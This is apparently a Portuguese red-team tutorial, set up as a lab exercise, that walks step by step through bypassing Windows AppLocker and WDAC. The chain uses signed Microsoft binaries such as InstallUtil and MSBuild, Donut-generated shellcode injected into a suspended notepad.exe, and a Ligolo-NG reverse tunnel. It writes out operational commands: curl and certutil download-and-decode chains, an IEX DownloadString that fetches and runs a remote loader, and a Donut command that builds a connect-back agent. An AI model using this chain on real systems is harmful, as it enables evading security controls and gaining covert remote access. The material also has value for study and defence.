NT-2026.09.30 DOSSIÊ RED TEAM
BYPASS APPLOCKER/WDAC COM LIGOLO-NG: EXECUÇÃO EM MEMÓRIA
Demonstra como contornar AppLocker e WDAC usando Ligolo-NG, InstallUtil e MSBuild para execucao em memoria de shellcode via binarios Microsoft assinados.

Visao geral
Este artigo demonstra uma cadeia completa de bypass de controles de aplicacao Windows (AppLocker e WDAC) utilizando o framework Ligolo-NG para estabelecimento de tunel criptografado, combinado com tecnicas de execucao em memoria via binarios Microsoft assinados (LOLBins) como InstallUtil e MSBuild.
A progressao segue o padrao adversarial realista: confirmacao de restricao, preparacao de infraestrutura, staging de payload, abuso de binario confiavel para execucao inicial, geracao de shellcode position-independent via Donut, injecao reflexiva em processo legitimo, estabelecimento de sessao Ligolo, descoberta de Constrained Language Mode, e bypass final via MSBuild inline task para executar codigo C# embarcado fora das restricoes do PowerShell.
Contexto tecnico
AppLocker e Windows Defender Application Control (WDAC) sao mecanismos de controle de aplicacao nativos do Windows projetados para restringir a execucao de codigo nao autorizado. AppLocker opera via regras de publisher, path, hash ou arquivo, enquanto WDAC utiliza politicas de assinatura de codigo mais rigidas baseadas em certificados raiz confiaveis.
Ambos os controis focam primariamente em execucao baseada em arquivo: impedem que binarios nao assinados ou nao autorizados sejam lancados diretamente do disco. No entanto, nao impedem a execucao de logica maliciosa dentro de processos ja confiaveis e assinados pela Microsoft — o que torna possivel o abuso de binarios LOLBins (Living Off The Land Binaries) como InstallUtil.exe, msbuild.exe, certutil.exe, regsvr32.exe, entre outros.
Ligolo-NG e uma ferramenta de tunneling reverso moderno que estabelece conexoes TLS criptografadas entre um agente no alvo e um proxy no atacante, permitindo pivoting de rede interno sem expor portas no alvo. Donut e um gerador de shellcode position-independent que converte executaveis PE (Portable Executable) em shellcode raw para execucao puramente em memoria via tecnicas de Reflective Code Loading (T1620).
O Fluxo do Ataque
Apresentar a progressao adversarial tipica em ambientes com WDAC e AppLocker: restricao, verificacao, preparacao de payload, abuso de binario confiavel, execucao em memoria, estabelecimento de sessao.

Mapeamento MITRE ATT&CK
Mapear as tecnicas demonstradas: T1562.001 (AppLocker bypass), T1218.004 (MSBuild), T1620 (Reflective Code Loading), T1105 (Ingress Tool Transfer), T1071.001 (C2 over HTTPS), T1090 (Proxy Tool).
Pre-requisitos
Listar componentes necessarios: Kali Linux (atacante), Windows (vitima), AppLocker configurado, SharpReflectivePEInjection, MSBuild (.NET Framework), Ligolo-NG, Donut.
Aplicacao de Controle de Aplicacoes
Configurar politicas AppLocker via GPO para simular ambiente empresarial realista onde executaveis nao assinados sao bloqueados.

Abrir Gerenciamento de Politica de Grupo
Acessar o console GPO para configurar regras AppLocker no nivel de computador.

Navegar Politicas de Controle de Aplicacoes
Criar regra bloqueando executaveis nao assinados em Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker.

Aplicar Politica
Forcar atualizacao de politica para garantir enforcamento ativo antes de testar bypass.
gpupdate /force

Confirmar Bloqueio de Execucao
Validar que controles defensivos estao bloqueando binarios nao assinados antes de tentar bypass.
Tentativa de Execucao Direta
Tentar executar agente Ligolo diretamente para confirmar bloqueio AppLocker.
wget http://192.168.1.42/agent.exe -o agent.exe
.\agent.exe

Preparando Infraestrutura Ligolo
Preparar payload customizado e infraestrutura C2 para deploy posterior via caminhos alternativos de execucao.
Clonar Repositorio Ligolo
Obter codigo-fonte do Ligolo-NG no Kali para compilacao customizada.
git clone https://github.com/nicocha30/ligolo-ng.git

Navegar para Fonte do Agente
Entrar no diretorio do agente para modificacao e compilacao customizada.
cd ligolo-ng/cmd/agent

Ajustar Configuracao do Agente
Modificar main.go onde necessario para build customizado que reduz assinaturas de deteccao.

Compilar Agente
Compilar programa Go em cmd/agent/main.go produzindo agent.exe Windows que sera transformado em shellcode.
go build -o agent.exe cmd/agent/main.go

Abrir Projeto SharpReflectivePEInjection no Visual Studio
Abrir projeto carregador PE reflexivo capaz de executar binarios arbitrarios diretamente em memoria.

Compilar Solucao
Compilar projeto via Build > Build Solution gerando executavel carregador reflexivo para encoding e staging posterior.

Verificar Binario Compilado na Pasta Release
Confirmar existencia de SharpReflectivePEInjection.exe em bin/x64/Release validando compilacao bem-sucedida.

Codificar Carregador Reflexivo em Base64
Converter binario em formato Base64 para transporte e embedding em scripts/XML.
certutil -encode .\SharpReflectivePEInjection.exe loader.txt

Mover Carregador e Preparar Ambiente de Hospedagem
Confirmar existencia de agent.exe e loader.txt, iniciar servidor HTTP Python para staging.
python3 -m http.server 80

Estabelecendo Proxy Ligolo
Operacionalizar infraestrutura C2 criptografada para receber callbacks imediatos apos execucao de codigo.
Iniciar Proxy Ligolo (-selfcert)
Estabelecer listener TLS criptografado com certificado auto-assinado aguardando conexao do agente.
sudo ligolo-proxy -selfcert

Transferencia e Reconstrucao de Payload no Alvo
Transferir e reconstruir payload no Windows restrito usando apenas utilitarios nativos.
Baixar e Reconstruir Payload com Utilitarios Nativos
Usar curl + certutil para baixar agente, recuperar carregador Base64, decodificar em ligolo.exe e remover artefato codificado.
cmd.exe /c curl http://192.168.1.42/agent.exe -o C:\Users\Public\try-agent.exe && curl http://192.168.1.42/loader.txt -o C:\Users\Public\enc.txt && certutil -decode C:\Users\Public\enc.txt C:\Users\Public\ligolo.exe && del C:\Users\Public\enc.txt

Verificar Payload
Listar conteudo de C:\Users\Public\ confirmando try-agent.exe e ligolo.exe antes de tentar execucao via binario confiavel.

Executar Payload Usando InstallUtil (Abuso de Binario Confiavel)
Executar payload nao assinado via InstallUtil.exe (binario Microsoft assinado) para burlar AppLocker.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U ligolo.exe

Agente Conecta de Volta com Sucesso
Confirmar sessao ativa no proxy Ligolo: DC1\user@SRV2 – 192.168.122.15, validando execucao de codigo e tunnel reverso.

Baixar e Extrair Pacote Oficial do Agente Ligolo (Lado Atacante)
Preparar binario oficial agent.exe para deploy controlado e operacoes de pivoting.
ls ligolo-ng_agent_0.8.*
unzip ligolo-ng_agent_0.8.3_windows_amd64.zip

Instalar Donut
Instalar ferramenta que converte PE em shellcode position-independent para execucao somente em memoria.
sudo apt install donut

Geracao de Shellcode
Transicionar de execucao baseada em arquivo para shellcode residente em memoria burlando politicas de controle de aplicacao.
Converter Agente em Shellcode
Gerar agent.bin via Donut transformando executavel em shellcode in-memory evitando controles de execucao de arquivo.
donut -f 1 -o agent.bin -a 2 -p "-connect 192.168.1.42:11601 -ignore-cert" -i agent.exe

Criar Carregador Reflexivo PowerShell (ligolo.ps1)
Script verifica execucao 64-bit, lança processo legitimo suspenso, baixa agent.bin e injeta shellcode no processo.

Hospedagem de Payload
Estabelecer mecanismo leve para servir scripts e shellcode sem complexidade adicional de tooling.
Hospedar agent.bin e ligolo.ps1 via Python HTTP Server
Expor shellcode e carregador reflexivo para recuperacao remota via HTTP leve.
ls -la ligolo.ps1 agent.bin
python -m http.server 80

Injecao de Memoria via PowerShell & Bypass AppLocker
Mudar para execucao reflexiva in-memory usando carregador PowerShell para burlar enforcamento baseado em arquivo.
Injecao Reflexiva de Shellcode via Carregador PowerShell
Executar IEX baixando ligolo.ps1 remoto que lança notepad.exe suspenso, injeta agent.bin e retoma execucao.
IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.42/ligolo.ps1')

Callback Ligolo & Estabelecimento de Sessao
Confirmar compromisso via infraestrutura atacante quando agente conecta e registra sessao ativa.

Descoberta Modo Linguagem Restrita (CLM)
Identificar que PowerShell esta em Constrained Language Mode restringindo criacao de objetos e scripting avancado.

Bypass CLM via MSBuild Inline Task Execution
Burlar CLM executando codigo C# embarcado em projeto MSBuild dentro de contexto confiavel .NET.
Criar Tarefa Inline MSBuild (ligolo-clm.xml)
Criar arquivo projeto MSBuild malicioso com codigo C# embarcado em bloco CDATA para execucao PowerShell fora do CLM.

Staging XML, Shellcode e Carregador para Entrega
Confirmar arquivos necessarios e iniciar servidor HTTP no Kali para entrega.
ls -l ligolo-clm.xml ligolo.ps1 agent.bin
python -m http.server 80

Baixar e Executar Projeto MSBuild no Alvo
Executar msbuild.exe com projeto XML que compila e executa tarefa C# embarcando invocando carregador PowerShell fora restricoes CLM.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe ligolo-clmbypass.xml

Confirmar Segundo Callback Agente no Ligolo
Validar nova sessao confirmando bypass bem-sucedido e execucao via MSBuild operando fora contexto PowerShell restrito.
